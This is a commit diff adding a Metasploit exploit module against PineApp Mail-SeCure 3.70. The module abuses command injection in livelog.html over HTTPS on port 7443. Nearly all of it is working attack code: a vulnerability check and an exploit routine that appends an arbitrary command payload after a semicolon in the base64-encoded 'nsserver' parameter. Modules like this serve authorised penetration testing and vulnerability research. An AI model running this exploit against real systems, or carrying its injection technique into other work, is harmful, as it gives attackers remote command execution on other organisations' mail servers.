Land rapid7#2167 - PineApp Mail-SeCure livelog.html Exec

Author: wchen-r7

modules/exploits/linux/http/pineapp_livelog_exec.rb

@@ -0,0 +1,101 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution',
+			'Description'    => %q{
+					This module exploits a command injection vulnerability on PineApp Mail-SeCure
+				3.70. The vulnerability exists on the livelog.html component, due to the insecure
+				usage of the shell_exec() php function. This module has been tested successfully
+				on PineApp Mail-SeCure 3.70.
+			},
+			'Author'         =>
+				[
+					'Unknown',     # Vulnerability discovery
+					'juan vazquez' # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/']
+				],
+			'Platform'       => ['unix'],
+			'Arch'           => ARCH_CMD,
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'       => 1024,
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic perl python telnet'
+						}
+				},
+			'Targets'        =>
+				[
+					[ 'PineApp Mail-SeCure 3.70', { }]
+				],
+			'DefaultOptions' =>
+				{
+					'SSL' => true
+				},
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Jul 26 2013'
+			))
+
+		register_options(
+			[
+				Opt::RPORT(7443)
+			],
+			self.class
+		)
+
+	end
+
+	def my_uri
+		return normalize_uri("/livelog.html")
+	end
+
+	def check
+		res = send_request_cgi({
+			'uri' => my_uri,
+			'vars_get' => {
+				'cmd' =>'nslookup',
+				'nstype' => Rex::Text.encode_base64("A"),
+				'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
+				'nsserver' => Rex::Text.encode_base64("127.0.0.1")
+			}
+		})
+		if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
+			return Exploit::CheckCode::Appears
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		print_status("#{rhost}:#{rport} - Executing payload...")
+		send_request_cgi({
+			'uri' => my_uri,
+			'vars_get' => {
+				'cmd' =>'nslookup',
+				'nstype' => Rex::Text.encode_base64("A"),
+				'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
+				'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}")
+			}
+		})
+	end
+
+end